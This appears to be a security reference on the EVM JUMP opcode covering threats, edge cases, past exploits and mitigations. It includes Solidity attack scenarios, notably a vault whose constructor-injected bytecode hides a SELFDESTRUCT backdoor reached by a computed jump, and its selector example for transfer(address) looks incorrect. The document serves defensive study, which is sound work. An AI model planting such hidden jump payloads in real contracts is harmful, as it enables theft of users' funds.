Opcode Summary
| Property | Value |
|---|---|
| Opcode | 0x56 |
| Mnemonic | JUMP |
| Gas | 8 |
| Stack Input | dst (unsigned offset into the code) |
| Stack Output | (none) |
| Behavior | Sets the program counter to dst. The destination byte must be a JUMPDEST (0x5B) instruction; otherwise execution reverts with an invalid jump destination error. dst must also be within the bounds of the deployed bytecode. JUMP is an unconditional branch — it always transfers control. The EVM validates jump targets against a pre-computed JUMPDEST bitmap that excludes 0x5B bytes embedded inside PUSH immediate data. |
Threat Surface
JUMP is the unconditional control flow primitive of the EVM. Every if, else, while, for, switch, internal function call, and function return in compiled Solidity ultimately translates to JUMP or JUMPI instructions targeting JUMPDEST-marked locations. This makes JUMP the mechanism through which all non-linear execution is realized at the bytecode level.
The threat surface centers on four properties:
-
JUMP enables arbitrary intra-contract control flow. Unlike higher-level languages where control flow follows structured blocks, JUMP can transfer execution to any valid JUMPDEST within the bytecode. This creates opportunities for hidden execution paths, especially when jump targets are computed dynamically from stack values rather than hardcoded by the compiler. An attacker who controls the value on top of the stack before a JUMP instruction controls where execution goes next.
-
JUMPDEST validation is a bytecode-level security boundary. The EVM must distinguish between
0x5Bbytes that are genuine JUMPDEST instructions and0x5Bbytes that appear within PUSH immediate data (e.g.,PUSH2 0x5B60contains0x5Bas data, not as an instruction). This requires a linear scan of the entire bytecode to build a valid-JUMPDEST bitmap before execution. This analysis is a computational cost borne by every node for every contract execution, and errors in this analysis (by tooling, not the EVM itself) can lead to security misclassification of code vs. data regions. -
PUSH data containing JUMPDEST bytes creates a code/data confusion surface. While the EVM correctly rejects jumps into PUSH immediates, static analysis tools, decompilers, disassemblers, and security scanners can misinterpret
0x5Bbytes in data as valid jump targets. This discrepancy between EVM runtime behavior and tooling analysis enables attacks where hidden bytecode payloads evade source-level audits — most notably the “Immutable Executable Injection” technique where constructor arguments containing0x5Bbecome executable regions of deployed bytecode. -
JUMP is the mechanism behind function dispatch. Solidity compiles function selectors into a dispatch table: the first 4 bytes of calldata are compared against known selectors via a series of
EQ+JUMPIinstructions, with each match jumping to the corresponding function body. Manipulating which JUMP target is reached — through selector collisions, proxy function shadowing, or bytecode-level patching — redirects execution to unintended code.
Smart Contract Threats
T1: Immutable Executable Injection — Hidden Bytecode via Constructor Arguments (Critical)
Solidity immutable variables are not stored in contract storage — the compiler embeds their values directly into the deployed bytecode at placeholder locations during construction. If an attacker deploys a contract where constructor arguments contain valid EVM opcodes beginning with JUMPDEST (0x5B), those “data” bytes become executable code regions within the bytecode. The source code appears clean and passes Etherscan verification, because the malicious payload exists only in deployment parameters, not in the audited source.
The attack works as follows:
- The attacker writes a seemingly legitimate contract with
bytes32 immutablevariables described as “lookup tables” or “configuration parameters.” - At deployment, the attacker passes values like
0x5b63CAFEBABE60005260206000f3...— which decode toJUMPDEST, PUSH4, MSTORE, RETURNand other valid EVM instructions. - The compiler patches these bytes into the deployed bytecode in a “dead code” region (after normal execution terminates with
STOPorRETURN). - An assembly trigger in the contract computes an arithmetic offset that resolves to the injected JUMPDEST’s byte position, then executes
jump(offset). - Execution transfers to the hidden payload, which can drain funds, change ownership, or exfiltrate storage values.
A weaponized version can chain multiple bytes32 immutable variables to assemble ~128+ bytes of hidden executable code — enough for arbitrary state modification.
Why it matters: This attack passes source verification, evades static analysis, and exploits the fundamental EVM property that bytes are bytes — the same 32 bytes can be “configuration” to an auditor and “executable code” to the EVM. The trigger is obscured as arithmetic validation logic rather than an obvious conditional branch.
T2: Dynamic Jump Target from Untrusted Input (High)
When a JUMP target is computed from user-controlled data rather than hardcoded by the compiler, an attacker can redirect execution to arbitrary JUMPDEST locations within the contract. This occurs in:
-
Internal function pointers. Solidity’s internal function pointers compile to stack values that are JUMP targets. If a function pointer is stored in storage and an attacker can overwrite that storage slot (e.g., via a storage collision in a proxy), the next call through that pointer jumps to an attacker-chosen JUMPDEST.
-
Hand-written assembly with computed jumps. Yul/inline assembly that computes jump destinations from calldata, storage, or arithmetic expressions can be manipulated if any input to the computation is attacker-controlled.
-
Uninitialized function pointers. Solidity compiler bug SOL-2019-5 (
UninitializedFunctionPointerInConstructor) demonstrated that uninitialized internal function pointers could jump to unintended locations during constructor execution because jump target positions differ between construction and deployment contexts.
Why it matters: The Solidity compiler normally produces only static jump targets, but function pointers, proxy patterns, and inline assembly introduce dynamic jumps. Any dynamic JUMP whose target derives from untrusted input is a control-flow hijacking vulnerability.
T3: Function Selector Dispatch Table Manipulation (High)
Solidity compiles external function calls into a dispatch table at the beginning of a contract’s bytecode: calldata’s first 4 bytes are compared against known function selectors, and matching triggers a JUMP to the function body. This dispatch mechanism is vulnerable to:
-
Selector collisions in proxy contracts. If a proxy contract and its implementation both define functions with colliding 4-byte selectors, the proxy’s selector takes priority, and the JUMP to the implementation’s function never occurs. The Poly Network hack ($611M, 2021) exploited a selector collision that allowed the attacker to call a cross-chain management function with attacker-controlled parameters.
-
Bytecode-level dispatch patching. In contracts deployed via
CREATE2or metamorphic patterns, an attacker who controls the deployed bytecode can alter the dispatch table to route selectors to different JUMPDEST locations than the source code implies. -
Fallback hijacking. If no selector matches, the dispatch table falls through to the fallback function via a final JUMP. Crafted calldata with no matching selector triggers the fallback, which in proxy contracts delegates to an implementation — potentially an attacker-controlled one.
Why it matters: Function dispatch is the entry point for all external interactions. Redirecting the dispatch JUMP changes which code executes for a given function call without altering the source-level interface.
T4: JUMP into PUSH Immediate Data — Analysis Tool Confusion (Medium)
The EVM correctly rejects JUMP to a 0x5B byte that falls within a PUSH instruction’s immediate data. However, security tooling frequently misclassifies these bytes:
- Disassemblers may display
0x5Bwithin PUSH data as a validJUMPDEST, leading auditors to believe unreachable code is reachable or vice versa. - Symbolic execution engines that incorrectly build the JUMPDEST bitmap will explore impossible paths or miss valid paths.
- Decompilers may produce incorrect control flow graphs, showing phantom functions or missing real ones.
An attacker can exploit tooling confusion by crafting bytecode where PUSH data contains 0x5B bytes arranged to look like legitimate code to analysis tools, creating a false sense of security or hiding the true control flow from auditors.
Why it matters: While the EVM itself is not confused, the humans and tools analyzing contracts can be. Audit-evasion techniques that exploit disassembler confusion have been documented in CTF challenges and in the Immutable Executable Injection research.
T5: Infinite Loop via Unconditional JUMP (Medium)
A JUMP whose target is at or before its own program counter creates an infinite loop that consumes all remaining gas. This is by design (gas metering prevents actual infinite execution), but it creates denial-of-service vectors:
-
Griefing via gas exhaustion. If an attacker can trigger a code path that enters an infinite JUMP loop, the transaction’s entire gas is consumed with no useful work. In a relayer or meta-transaction context, the relayer pays the gas.
-
Compiler bugs producing unintended loops. Solidity bug SOL-2016-5 (
DynamicAllocationInfiniteLoop) generated code that did not terminate when creating zero-length dynamic memory arrays, consuming all gas. While this specific bug was in loop code generation rather than a raw JUMP, the resulting bytecode contained a JUMP that looped back to itself. -
Liveness attacks on protocols. If a protocol requires a specific transaction to succeed (e.g., a liquidation, an oracle update, or a governance execution), and an attacker can force that transaction into a JUMP loop, the protocol’s liveness is compromised until the condition is resolved.
Why it matters: Gas-bounded infinite loops are the EVM’s designed failure mode for non-termination, but the economic cost of wasted gas and the liveness impact on protocols that depend on specific transactions succeeding make this a real threat.
Protocol-Level Threats
P1: JUMPDEST Analysis Computational Overhead (Medium)
Before executing any contract, the EVM must scan the entire bytecode to build a bitmap of valid JUMPDEST positions. This requires distinguishing between JUMPDEST instructions and 0x5B bytes within PUSH immediates — a linear pass over the entire codebase. For large contracts (approaching the 24KB EIP-170 limit), this analysis adds measurable overhead to every invocation.
The JUMPDEST analysis cost is not explicitly charged via gas — it is implicit overhead borne by validators. This creates an asymmetry: a contract deployer pays deployment gas once, but every node pays the JUMPDEST analysis cost on every execution. Contracts with pathological PUSH patterns (e.g., many PUSH32 instructions whose data contains 0x5B bytes) maximize analysis complexity relative to actual useful code.
EIP-3690 (EOF JUMPDEST Table) proposes moving this analysis to deployment time by storing a pre-computed JUMPDEST table in the contract’s EOF container, eliminating per-execution overhead. EIP-7921 proposes skipping the PUSH-immediate exclusion check entirely, allowing JUMP to any 0x5B byte — simplifying analysis but fundamentally changing the security model.
P2: EOF Deprecation of JUMP (Low — Future Impact)
The EVM Object Format (EOF) family of EIPs replaces JUMP/JUMPI/JUMPDEST entirely with structured control flow:
- EIP-4200 (RJUMP/RJUMPI/RJUMPV): Static relative jumps with signed immediate offsets. Jump targets are validated at deployment, not runtime.
- EIP-4750 (CALLF/RETF): Explicit function call/return instructions replacing JUMP-based function dispatch.
- EIP-3670 (Code Validation): Mandatory bytecode validation at deployment, rejecting undefined instructions.
In EOF contracts, JUMP (0x56) is an invalid opcode that causes deployment rejection. This eliminates the entire class of dynamic-jump vulnerabilities, JUMPDEST confusion, and runtime analysis overhead. However, legacy (non-EOF) contracts will continue using JUMP indefinitely, and the two execution models will coexist.
P3: Consensus Safety of JUMP (Low)
JUMP is deterministic — it reads a stack value and either sets the program counter to that value (if it’s a valid JUMPDEST) or reverts. All conformant EVM implementations agree on the valid-JUMPDEST bitmap computation. No consensus bugs have been attributed to JUMP itself, though the JUMPDEST analysis has historically been a source of divergence between development tools (e.g., Foundry/Anvil vs. mainnet behavior for edge cases involving SELFDESTRUCT + redeployment within the same transaction).
Edge Cases
| Edge Case | Behavior | Security Implication |
|---|---|---|
| Jump to non-JUMPDEST byte | Execution reverts with invalid jump destination | Safe — EVM enforces JUMPDEST requirement. Wastes gas but no state corruption. |
Jump to 0x5B within PUSH immediate data | Execution reverts — PUSH data bytes are excluded from valid JUMPDEST set | Safe at runtime, but tooling may misclassify this byte as a valid target, confusing auditors and static analyzers. |
| Jump to out-of-bounds offset (beyond bytecode length) | Execution reverts with invalid jump destination | Safe — EVM checks bounds. Attempted jump to offset >= codesize always fails. |
| Jump to offset 0 | Valid if byte 0 is JUMPDEST; reverts otherwise | Unusual but technically valid. If byte 0 happens to be 0x5B, execution restarts from the beginning. In practice, Solidity contracts start with PUSH for the free memory pointer, never JUMPDEST. |
| Jump target from uninitialized storage | Target is 0 (default value); jumps to offset 0 | Almost certainly reverts (offset 0 is rarely JUMPDEST). But in a proxy context, uninitialized function pointer storage could produce unexpected behavior. |
| JUMP with empty stack | Stack underflow error before JUMP executes | Safe — EVM catches underflow. Execution reverts. |
| JUMP in STATICCALL context | JUMP works identically; only state-modifying opcodes are blocked | No behavioral difference — JUMP is a pure control flow instruction with no state side effects. |
| Multiple JUMPDESTs at adjacent offsets | Each is independently valid | Can create confusion in disassemblers about basic block boundaries. No security impact at runtime. |
| JUMP during contract construction (initcode) | Operates on initcode bytecode, not runtime bytecode | JUMPDEST bitmap is built from initcode. Constructor code has different valid jump targets than deployed code — relevant for Solidity bug SOL-2019-5. |
| JUMP after SELFDESTRUCT (same tx, pre-Dencun) | JUMP continues executing normally within the same execution frame | SELFDESTRUCT does not affect the currently executing code. JUMP targets remain valid until the frame returns. |
Real-World Exploits
Exploit 1: Immutable Executable Injection — PoC Demonstrated (2025)
Root cause: Solidity immutable variables are embedded directly in deployed bytecode. Constructor arguments containing valid EVM opcodes beginning with JUMPDEST (0x5B) become hidden executable code that can be reached via a computed JUMP.
Details: Security researcher Bombadil Systems published a working proof-of-concept demonstrating that a contract with bytes32 public immutable variables could hide executable payloads in its bytecode. The PoC contract (GasOptimizedVault) accepted constructor arguments described as “lookup tables for gas optimization.” At deployment, the attacker passed 0x5b63CAFEBABE60005260206000f3... — valid EVM instructions starting with JUMPDEST. An assembly block in the contract computed a jump target via arithmetic on a function parameter: let targetOffset := and(validationProof, 0xFFFF). When the attacker called withdraw(0, 0xdeadface017b), the arithmetic resolved to byte offset 379 (the exact position of the injected JUMPDEST), and the contract executed the hidden payload instead of normal withdrawal logic.
JUMP’s role: JUMP is the execution mechanism. The hidden payload only becomes “code” when explicitly jumped to. Without JUMP’s ability to transfer control to arbitrary JUMPDEST-marked offsets, including those in “dead code” regions of the bytecode, the attack is impossible. The technique specifically exploits the EVM’s fundamental property that any byte marked 0x5B and not within a PUSH immediate is a valid JUMP target.
Impact: Demonstrated as a PoC. A weaponized version could drain funds, change ownership, or manipulate proxy implementations. The technique passes Etherscan source verification and evades standard audit patterns because the payload exists in deployment parameters, not source code.
References:
- Bombadil Systems: Immutable Executable Injection
- EIP-7921: Skip JUMPDEST Immediate Argument Check (related — proposes removing the PUSH-data exclusion, which would expand this attack surface)
Exploit 2: Poly Network — $611M via Selector Collision Redirecting Dispatch JUMP (August 2021)
Root cause: A function selector collision in the cross-chain relay contract allowed the attacker to call a privileged function (verifyHeaderAndExecuteTx) that would JUMP to code paths normally reserved for trusted cross-chain message handling, but with attacker-controlled parameters.
Details: Poly Network’s EthCrossChainManager contract verified cross-chain messages and executed them via the Solidity function dispatch table. The attacker crafted a cross-chain message targeting the putCurEpochConPkBytes function on the EthCrossChainData contract. The 4-byte selector for this function was carefully chosen to match a function the attacker could invoke through the cross-chain relay path. The dispatch table’s JUMP to the matching function body executed the attacker’s payload, which replaced the keeper public keys with attacker-controlled keys. With control of the keepers, the attacker authorized transfers of $611M across Ethereum, BSC, and Polygon.
JUMP’s role: The function dispatch table is a sequence of selector comparisons followed by conditional JUMPs (JUMPI) to function bodies. The attack exploited the dispatch mechanism by finding a selector that would cause the dispatch JUMP to land on a function body that accepted attacker-controlled parameters for a privileged operation.
Impact: $611M stolen (later returned after negotiation). One of the largest DeFi exploits. Demonstrated that function dispatch table manipulation via selector collisions is a practical attack vector.
References:
Exploit 3: Solidity Optimizer State Corruption at JUMPDEST (SOL-2016-10, SOL-2016-4)
Root cause: The Solidity optimizer’s symbolic execution engine failed to properly reset its internal state at JUMPDEST locations where multiple control flow paths converge, leading to data corruption in compiled contracts.
Details: The Solidity optimizer tracks symbolic state (known values of stack items, storage slots, memory contents) to eliminate redundant computations. When control flow converges at a JUMPDEST — which is the merge point for multiple code paths — the optimizer must compute a conservative intersection of all incoming states. Two separate bugs (SOL-2016-4 in versions < 0.3.6 and SOL-2016-10 in versions 0.4.5-0.4.6) failed to do this correctly: the optimizer carried forward state knowledge from one code path into the merged state, potentially applying optimizations that were valid on one path but incorrect on another. The result was compiled bytecode that could read wrong storage slots, miscompute hash values, or silently corrupt data.
A related bug (SOL-2016-8, OptimizerStaleKnowledgeAboutSHA3) caused the optimizer to believe a SHA3 result was already on the stack when it was not, because state knowledge was not cleared across JUMPDEST boundaries. This could redirect storage reads to wrong slots.
JUMP’s role: JUMPDEST is the convergence point where the optimizer must reset state. The bugs occurred precisely because JUMP creates non-linear control flow — multiple paths can reach the same JUMPDEST, and each path may have established different symbolic knowledge. The optimizer’s failure to handle this convergence correctly at the JUMP target is a direct consequence of JUMP’s semantic as an arbitrary branch instruction.
Impact: Medium severity per Solidity’s own assessment. Potentially exploitable for data corruption in contracts compiled with the optimizer enabled on affected versions (pre-0.3.6 and 0.4.5-0.4.6). Difficult to exploit in a targeted manner, but any contract compiled with these versions and optimizer enabled may contain silently incorrect bytecode.
References:
- Solidity Known Bugs: OptimizerStateKnowledgeNotResetForJumpdest
- Solidity Known Bugs: OptimizerClearStateOnCodePathJoin
- Solidity Known Bugs: OptimizerStaleKnowledgeAboutSHA3
Exploit 4: Uninitialized Function Pointer JUMP — Constructor vs. Runtime Target Mismatch (SOL-2019-5)
Root cause: Internal function pointers in Solidity compile to JUMP target offsets stored on the stack or in storage. Uninitialized function pointers are supposed to point to a revert-causing code block, but the offset of this block differs between constructor execution and deployed runtime. The compiler only set the correct revert target for the runtime context.
Details: When a Solidity contract declares an internal function pointer and does not initialize it, the compiler assigns it a default value that should cause a revert when the pointer is called (i.e., when used as a JUMP target). However, JUMP targets in constructor bytecode (initcode) differ from those in deployed runtime bytecode because they are entirely separate code segments. The compiler bug set the revert JUMP target using the runtime offset, which was incorrect during constructor execution. Calling an uninitialized function pointer in the constructor would JUMP to an unexpected location in the initcode, potentially executing arbitrary code instead of reverting.
JUMP’s role: Internal function pointers are literally JUMP target values. When a function pointer is “called,” the compiler emits a JUMP instruction with the pointer’s value as the destination. The bug occurred because the JUMP target was correct in one bytecode context (runtime) but wrong in another (constructor), and the EVM has no mechanism to distinguish “intended” from “unintended” JUMPDEST locations.
Impact: Very low severity per Solidity’s assessment (requires specific code patterns with uninitialized function pointers in constructors). Affected Solidity 0.4.5-0.4.26 and 0.5.0-0.5.8. No known real-world exploits, but demonstrates the fragility of using raw JUMP offsets as function pointers.
References:
Attack Scenarios
Scenario A: Immutable Executable Injection with Hidden Backdoor
// Source code appears clean -- passes audit and Etherscan verification
contract GasOptimizedVault {
bytes32 public immutable lookupTable0;
bytes32 public immutable lookupTable1;
mapping(address => uint256) public balances;
constructor(bytes32 _lut0, bytes32 _lut1) {
lookupTable0 = _lut0;
lookupTable1 = _lut1;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount, uint256 validationProof) external {
require(balances[msg.sender] >= amount, "insufficient");
assembly {
let size := codesize()
let mem := mload(0x40)
codecopy(mem, 0, size)
let targetOffset := and(validationProof, 0xFFFF)
let authBits := shr(16, validationProof)
// Looks like "gas optimization path selection"
// Actually: checks if bytecode at offset is JUMPDEST,
// then jumps to hidden payload
if eq(authBits, 0xDEADFACE) {
if lt(targetOffset, size) {
let op := byte(0, mload(add(mem, targetOffset)))
if eq(op, 0x5b) {
jump(targetOffset)
}
}
}
}
balances[msg.sender] -= amount;
payable(msg.sender).transfer(amount);
}
}
// Deployment:
// lookupTable0 = 0x5b33ff00000000000000000000000000000000000000000000000000000000
// Decodes to: JUMPDEST, CALLER, SELFDESTRUCT -- drains all ETH to caller
//
// Attacker calls: withdraw(0, 0xdeadface017b)
// targetOffset = 0x017b = 379 (byte position of injected JUMPDEST)
// authBits = 0xDEADFACE (trigger value)
// Execution jumps to hidden payload, SELFDESTRUCTs to attackerScenario B: Storage Collision Hijacking Internal Function Pointer JUMP Target
// Implementation contract with internal function pointer
contract VaultImplementation {
// Slot 0 in implementation -- but in proxy, slot 0 might be something else
address public owner;
// Internal function pointer stored in storage
// Solidity compiles this to a JUMP target offset
function() internal storedCallback;
function setCallback() internal {
storedCallback = _safeTransfer;
}
function executeCallback() external {
require(msg.sender == owner);
// Compiles to: SLOAD callback slot, JUMP
storedCallback();
}
function _safeTransfer() internal {
// ... legitimate transfer logic
}
}
// Proxy contract with storage collision
contract BrokenProxy {
// Slot 0: implementation address -- collides with owner in impl
address public implementation;
// Slot 1: admin -- collides with storedCallback in impl
address public admin;
fallback() external payable {
(bool s,) = implementation.delegatecall(msg.data);
require(s);
}
}
// Attack: The proxy's `admin` storage slot overlaps with `storedCallback`.
// The proxy admin's address (e.g., 0x000000000000000000000000DEADBEEF...)
// is interpreted as a JUMP target offset when executeCallback() runs
// via delegatecall. If that offset happens to land on a JUMPDEST in the
// implementation's bytecode, execution jumps to an unintended location.Scenario C: Infinite JUMP Loop DoS in Liquidation Path
contract LendingPool {
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
// Liquidation function that must succeed for protocol health
function liquidate(address borrower) external {
require(isUndercollateralized(borrower), "healthy position");
// Attacker-controlled callback during collateral seizure
IERC20(collateralToken).transferFrom(borrower, msg.sender, collateral[borrower]);
// If the attacker's receive hook triggers a reentrant call
// that enters a code path with an infinite loop,
// the liquidation transaction runs out of gas.
// The borrower remains unliquidated, accumulating bad debt.
debt[borrower] = 0;
collateral[borrower] = 0;
}
}
// Attacker contract designed to waste gas on liquidation attempts
contract LiquidationBlocker {
fallback() external payable {
// Consumes all remaining gas, preventing liquidation from completing.
// At the bytecode level this compiles to a JUMP back to loop start.
while (true) {}
}
}Scenario D: Function Selector Collision Redirecting Dispatch JUMP
// Proxy contract with admin functions
contract TransparentProxy {
address public admin;
address public implementation;
// Selector: 0xa9059cbb (same as ERC20.transfer!)
function transfer(address newImpl) external {
require(msg.sender == admin);
implementation = newImpl;
}
fallback() external payable {
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
}
// The dispatch table first checks if calldata matches proxy's own selectors.
// If msg.sender != admin AND the selector matches transfer(address),
// the JUMP in the dispatch table routes to the proxy's transfer() instead
// of falling through to the fallback (which would delegatecall to impl).
// In a badly designed proxy, this means ERC20.transfer() calls on the
// proxied token hit the proxy's admin function instead.
//
// EIP-1967 Transparent Proxy pattern mitigates this by splitting
// admin calls from user calls, but custom proxies often don't.Mitigations
| Threat | Mitigation | Implementation |
|---|---|---|
| T1: Immutable executable injection | Validate constructor arguments at deployment | Add require() checks in constructors that constrain immutable values to expected ranges; avoid bytes32 immutables when narrower types suffice |
| T1: Hidden JUMP-to-payload triggers | Flag assembly blocks that read own bytecode | Audit for codecopy, codesize, and extcodecopy(address(this)) combined with computed jump targets; treat as high-risk patterns |
| T2: Dynamic jump from untrusted input | Eliminate computed JUMP targets | Use Solidity’s high-level control flow exclusively; avoid Yul jump() instruction. When function pointers are necessary, ensure their storage slots cannot be overwritten by untrusted callers |
| T2: Uninitialized function pointers | Initialize all function pointers at declaration | Use Solidity >= 0.5.8 (fixes SOL-2019-5); run slither or mythril to detect uninitialized pointers |
| T3: Selector collision in proxies | Use EIP-1967 Transparent or UUPS proxy patterns | Transparent proxies route admin calls separately from user calls, preventing dispatch table collisions. UUPS places upgrade logic in the implementation, not the proxy. |
| T3: Selector collision in cross-chain relays | Validate full function signatures, not just 4-byte selectors | Use abi.encodeWithSignature and verify parameter types match expectations |
| T4: Tooling confusion from PUSH data | Use multiple analysis tools; manually verify critical paths | Cross-reference Etherscan, Dedaub, Heimdall, and Foundry disassembly. Treat disagreements as red flags. |
| T5: Infinite loop gas exhaustion | Bound loops; use gasleft() checks | require(gasleft() > MIN_GAS) before expensive operations; implement pull-over-push patterns for distribution |
| T5: Liquidation DoS via gas griefing | Limit gas forwarded to external calls | Use addr.call{gas: FIXED_LIMIT}("") for callbacks; implement fallback liquidation paths that don’t require callbacks |
| General | Migrate to EOF when available | EOF contracts replace JUMP/JUMPI with RJUMP/RJUMPI/CALLF/RETF, eliminating dynamic jump targets and JUMPDEST confusion entirely |
Compiler/EIP-Based Protections
- Solidity >= 0.5.8: Fixes uninitialized function pointer JUMP targets in constructors (SOL-2019-5).
- Solidity >= 0.4.6: Fixes optimizer state corruption at JUMPDEST merge points (SOL-2016-10).
- EIP-170 (Spurious Dragon, 2016): Limits deployed bytecode to 24,576 bytes, bounding the JUMPDEST analysis cost per contract.
- EIP-3541 (London, 2021): Rejects deployment of contracts starting with
0xEF, reserving the byte for EOF containers and preventing confusion with legacy bytecode. - EOF EIPs (EIP-3670, EIP-4200, EIP-4750): When deployed, will make JUMP/JUMPI/JUMPDEST invalid in new contracts, replacing them with validated static relative jumps and explicit function call/return instructions.
- EIP-7921 (Proposed): Proposes skipping the PUSH-immediate JUMPDEST exclusion check, which would simplify EVM implementations but expand the attack surface for code-in-data techniques.
Severity Summary
| Threat ID | Category | Severity | Likelihood | Real-World Precedent |
|---|---|---|---|---|
| T1 | Smart Contract | Critical | Medium | Immutable Executable Injection PoC (2025) |
| T2 | Smart Contract | High | Low | Solidity SOL-2019-5 (uninitialized function pointer); proxy storage collisions |
| T3 | Smart Contract | High | Medium | Poly Network ($611M, 2021); proxy selector collisions affecting 1.5M contracts |
| T4 | Smart Contract | Medium | Medium | Disassembler confusion documented in CTFs and security research |
| T5 | Smart Contract | Medium | Medium | Solidity SOL-2016-5 (infinite loop); gas griefing via callbacks |
| P1 | Protocol | Medium | Low | JUMPDEST analysis overhead motivating EOF EIPs |
| P2 | Protocol | Low | Low (future) | EOF design eliminates JUMP entirely in new contracts |
| P3 | Protocol | Low | Low | No consensus bugs attributed to JUMP |
Related Opcodes
| Opcode | Relationship |
|---|---|
| JUMPI (0x57) | Conditional counterpart to JUMP. Takes a condition and destination; jumps only if the condition is nonzero. Together with JUMP, implements all control flow in legacy EVM. Same JUMPDEST validation requirements. |
| JUMPDEST (0x5B) | Marks a valid jump destination. Every JUMP/JUMPI target must land on a JUMPDEST. Costs 1 gas. The JUMPDEST bitmap is the security mechanism that prevents jumping into arbitrary bytecode positions. |
| PC (0x58) | Pushes the current program counter before increment. Historically used with JUMP for relative branching (PC + offset → JUMP). Deprecated in EOF — RJUMP replaces PC-relative patterns. |
| PUSH1-PUSH32 (0x60-0x7F) | PUSH instructions whose immediate data bytes may contain 0x5B, creating the code/data confusion surface. The EVM excludes PUSH immediate ranges from the valid JUMPDEST set, but tooling may not. |